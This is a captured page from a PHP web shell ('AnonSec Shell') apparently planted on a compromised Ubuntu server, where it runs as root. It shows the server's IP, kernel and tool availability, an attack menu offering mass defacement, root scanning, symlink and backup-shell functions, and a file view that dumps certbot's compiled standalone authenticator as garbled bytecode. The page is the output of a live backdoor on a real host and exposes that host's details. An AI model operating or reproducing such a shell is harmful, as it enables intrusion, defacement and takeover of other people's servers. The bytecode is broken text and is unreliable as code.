AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/certbot/_internal/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/certbot/_internal/plugins/__pycache__/standalone.cpython-310.pyc
o

6��ay�@sdZddlZddlZddlZddlZddlmZddlmZddlmZddlm	Z	ddlm
Z
ddlmZddlZdd	l
mZdd
l
mZddlmZddlmZdd
lmZddlmZddlmZe�e�Zerueeje	ejfZGdd�d�Z Gdd�dej!ej"�Z"dd�Z#dS)zStandalone Authenticator.�N)�DefaultDict)�Dict)�List)�Set)�Tuple)�
TYPE_CHECKING)�
challenges)�
standalone)�achallenges)�errors)�
interfaces)�util)�commonc@s2eZdZdZdd�Zddd�Zdd�Zd	d
�ZdS)
�
ServerManagera�Standalone servers manager.

    Manager for `ACMEServer` and `ACMETLSServer` instances.

    `certs` and `http_01_resources` correspond to
    `acme.crypto_util.SSLSocket.certs` and
    `acme.crypto_util.SSLSocket.http_01_resources` respectively. All
    created servers share the same certificates and resources, so if
    you're running both TLS and non-TLS instances, HTTP01 handlers
    will serve the same URLs!

    cCsi|_||_||_dS�N)�
_instances�certs�http_01_resources)�selfrr�r�F/usr/lib/python3/dist-packages/certbot/_internal/plugins/standalone.py�__init__-s
zServerManager.__init__�c
Cs�|tjksJ�||jvr|j|S||f}z	t�||j�}Wntjy1}zt�	||��d}~ww|�
�|��dd}||j|<|S)aRun ACME server on specified ``port``.

        This method is idempotent, i.e. all calls with the same pair of
        ``(port, challenge_type)`` will reuse the same server.

        :param int port: Port to run the server on.
        :param challenge_type: Subclass of `acme.challenges.Challenge`,
            currently only `acme.challenge.HTTP01`.
        :param str listenaddr: (optional) The address to listen on. Defaults to all addrs.

        :returns: DualNetworkedServers instance.
        :rtype: ACMEServerMixin

        Nr�)r�HTTP01r�acme_standalone�HTTP01DualNetworkedServersr�socket�errorr�StandaloneBindError�
serve_forever�getsocknames)r�port�challenge_type�
listenaddr�address�serversr�	real_portrrr�run2s 

���
zServerManager.runcCsF|j|}|��D]}tjdg|dd��R�q	|��|j|=dS)zWStop ACME server running on the specified ``port``.

        :param int port:

        zStopping server at %s:%d...N�)rr!�logger�debug�shutdown_and_server_close)rr"�instance�socknamerrr�stopTs


�zServerManager.stopcCs
|j��S)z�Return all running instances.

        Once the server is stopped using `stop`, it will not be
        returned.

        :returns: Mapping from ``port`` to ``servers``.
        :rtype: tuple

        )r�copy�rrrr�runningas

zServerManager.runningN)r)�__name__�
__module__�__qualname__�__doc__rr(r/r2rrrrr s
"
rcs�eZdZdZdZ�fdd�Zedd��Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdeejdefdd�Z�ZS)�
AuthenticatoraStandalone Authenticator.

    This authenticator creates its own ephemeral TCP listener on the
    necessary port in order to respond to incoming http-01
    challenges from the certificate authority. Therefore, it does not
    rely on any existing server program.
    zSpin up a temporary webservercs@t�j|i|��t�t�|_i|_t�|_t|j|j�|_	dSr)
�superr�collections�defaultdict�set�servedrrrr&)r�args�kwargs��	__class__rrrys
zAuthenticator.__init__cC�dSrr)�cls�addrrr�add_parser_arguments�sz"Authenticator.add_parser_argumentscCsdS)Nz�This authenticator creates its own ephemeral TCP listener on the necessary port in order to respond to incoming http-01 challenges from the certificate authority. Therefore, it does not rely on any existing server program.rr1rrr�	more_info��zAuthenticator.more_infocCrArrr1rrr�prepare�rFzAuthenticator.preparecCstjgSr)rr)r�domainrrr�get_chall_pref�szAuthenticator.get_chall_prefcs�fdd�|D�S)Ncsg|]}��|��qSr)�_try_perform_single)�.0�achallr1rr�
<listcomp>�sz)Authenticator.perform.<locals>.<listcomp>r)r�achallsrr1r�perform�szAuthenticator.performc
Cs@	z|�|�WStjy}z
t|�WYd}~nd}~wwqr)�_perform_singlerr�_handle_perform_error)rrLrrrrrJ�s���z!Authenticator._try_perform_singlecCs"|�|�\}}|j|�|�|Sr)�_perform_http_01r<rC)rrLr&�responserrrrP�szAuthenticator._perform_singlecCsX|jj}|jj}|jj|tj|d�}|��\}}tj	j
|j||d�}|j�
|�||fS)N)r$)�challrS�
validation)�config�http01_port�http01_addressr&r(rr�response_and_validationr�HTTP01RequestHandler�HTTP01ResourcerTrrC)rrLr"�addrr&rSrU�resourcerrrrR�s�zAuthenticator._perform_http_01cCsb|j��D]\}}|D]}||vr|�|�qq|j����D]\}}|j|s.|j�|�qdSr)r<�items�remover&r2r/)rrN�unused_servers�server_achallsrLr"r&rrr�cleanup�s
��
��zAuthenticator.cleanup�failed_achalls�returncCs:|jj|jj}}|r|�d|��nd|��}d|�d�S)N�:zport zThe Certificate Authority failed to download the challenge files from the temporary standalone webserver started by Certbot on zt. Ensure that the listed domains point to this machine and that it can accept inbound connections from the internet.)rVrWrX)rrcr"r\�	neat_addrrrr�	auth_hint�s
�zAuthenticator.auth_hint)r3r4r5r6�descriptionr�classmethodrDrErGrIrOrJrPrRrbrr
�AnnotatedChallenge�strrg�
__classcell__rrr?rr7ns

 
r7cCsb|jjtjkrt�d�|j���|jjtjkr/d�|j�}tj	|dddd�}|s-t�|��dS|�)Nz�Could not bind TCP port {0} because you don't have the appropriate permissions (for example, you aren't running this program as root).z�Could not bind TCP port {0} because it is already in use by another process on this system (such as a web server). Please stop the program in question and then try again.�Retry�CancelF)�default)
�socket_error�errno�EACCESr�PluginError�formatr"�
EADDRINUSE�display_util�yesno)r�msg�should_retryrrrrQ�s��
�rQ)$r6r9rq�loggingr�typingrrrrrr�OpenSSL�acmerr	r�certbotr
rr�certbot.displayr
rv�certbot.pluginsr�	getLoggerr3r*�BaseDualNetworkedServers�"KeyAuthorizationAnnotatedChallenge�
ServedTyper�Pluginr7rQrrrr�<module>s:
��NV

Anon7 - 2022
AnonSec Team